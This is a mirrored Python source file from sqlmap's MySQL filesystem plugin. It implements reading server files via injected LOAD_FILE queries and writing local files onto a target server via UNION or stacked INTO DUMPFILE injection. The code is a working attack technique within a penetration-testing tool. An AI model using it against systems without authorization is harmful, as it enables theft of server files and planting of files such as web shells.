mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
178 lines
7.5 KiB
Python
178 lines
7.5 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import getSQLSnippet
|
|
from lib.core.common import isNumPosStrValue
|
|
from lib.core.common import isTechniqueAvailable
|
|
from lib.core.common import popValue
|
|
from lib.core.common import pushValue
|
|
from lib.core.common import randomStr
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.compat import xrange
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.decorators import stackedmethod
|
|
from lib.core.enums import CHARSET_TYPE
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import EXPECTED
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.enums import PLACE
|
|
from lib.core.exception import SqlmapNoneDataException
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
from lib.techniques.union.use import unionUse
|
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
|
|
|
class Filesystem(GenericFilesystem):
|
|
def nonStackedReadFile(self, rFile):
|
|
if not kb.bruteMode:
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
logger.info(infoMsg)
|
|
|
|
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
|
|
|
|
return result
|
|
|
|
def stackedReadFile(self, remoteFile):
|
|
if not kb.bruteMode:
|
|
infoMsg = "fetching file: '%s'" % remoteFile
|
|
logger.info(infoMsg)
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
|
self.getRemoteTempPath()
|
|
|
|
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
|
|
|
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
|
|
debugMsg += "into temporary file '%s'" % tmpFile
|
|
logger.debug(debugMsg)
|
|
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
|
|
|
|
debugMsg = "loading the content of hexadecimal encoded file "
|
|
debugMsg += "'%s' into support table" % remoteFile
|
|
logger.debug(debugMsg)
|
|
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
|
|
|
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
if not isNumPosStrValue(length):
|
|
warnMsg = "unable to retrieve the content of the "
|
|
warnMsg += "file '%s'" % remoteFile
|
|
|
|
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
|
if not kb.bruteMode:
|
|
warnMsg += ", going to fall-back to simpler UNION technique"
|
|
logger.warning(warnMsg)
|
|
result = self.nonStackedReadFile(remoteFile)
|
|
else:
|
|
raise SqlmapNoneDataException(warnMsg)
|
|
else:
|
|
length = int(length)
|
|
chunkSize = 1024
|
|
|
|
if length > chunkSize:
|
|
result = []
|
|
|
|
for i in xrange(1, length, chunkSize):
|
|
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
|
|
result.append(chunk)
|
|
else:
|
|
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
|
|
|
|
return result
|
|
|
|
@stackedmethod
|
|
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
|
|
logger.debug("encoding file to its hexadecimal string value")
|
|
|
|
fcEncodedList = self.fileEncode(localFile, "hex", True)
|
|
fcEncodedStr = fcEncodedList[0]
|
|
fcEncodedStrLen = len(fcEncodedStr)
|
|
|
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
|
warnMsg = "as the injection is on a GET parameter and the file "
|
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
|
warnMsg += "bytes, this might cause errors in the file "
|
|
warnMsg += "writing process"
|
|
logger.warning(warnMsg)
|
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
|
|
logger.debug(debugMsg)
|
|
|
|
pushValue(kb.forceWhere)
|
|
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
|
|
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
|
|
unionUse(sqlQuery, unpack=False)
|
|
kb.forceWhere = popValue()
|
|
|
|
warnMsg = "expect junk characters inside the "
|
|
warnMsg += "file as a leftover from UNION query"
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
|
|
|
|
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
|
|
logger.debug("encoding file to its hexadecimal string value")
|
|
|
|
fcEncodedList = self.fileEncode(localFile, "hex", True)
|
|
fcEncodedStr = fcEncodedList[0][2:]
|
|
fcEncodedStrLen = len(fcEncodedStr)
|
|
|
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
|
warnMsg = "the injection is on a GET parameter and the file "
|
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
|
warnMsg += "bytes, this might cause errors in the file "
|
|
warnMsg += "writing process"
|
|
logger.warning(warnMsg)
|
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
|
|
logger.debug(debugMsg)
|
|
|
|
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
|
|
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
|
|
payload = agent.payload(newValue=query)
|
|
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
|
|
|
|
warnMsg = "expect junk characters inside the "
|
|
warnMsg += "file as a leftover from original query"
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
|
|
|
|
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
|
|
debugMsg = "creating a support table to write the hexadecimal "
|
|
debugMsg += "encoded file to"
|
|
logger.debug(debugMsg)
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
|
|
|
logger.debug("encoding file to its hexadecimal string value")
|
|
fcEncodedList = self.fileEncode(localFile, "hex", False)
|
|
|
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
|
debugMsg += "encoded file to the support table"
|
|
logger.debug(debugMsg)
|
|
|
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
|
|
logger.debug("inserting the hexadecimal encoded file to the support table")
|
|
|
|
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
|
|
|
|
for sqlQuery in sqlQueries:
|
|
inject.goStacked(sqlQuery)
|
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
|
|
logger.debug(debugMsg)
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
|
|
|
|
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
|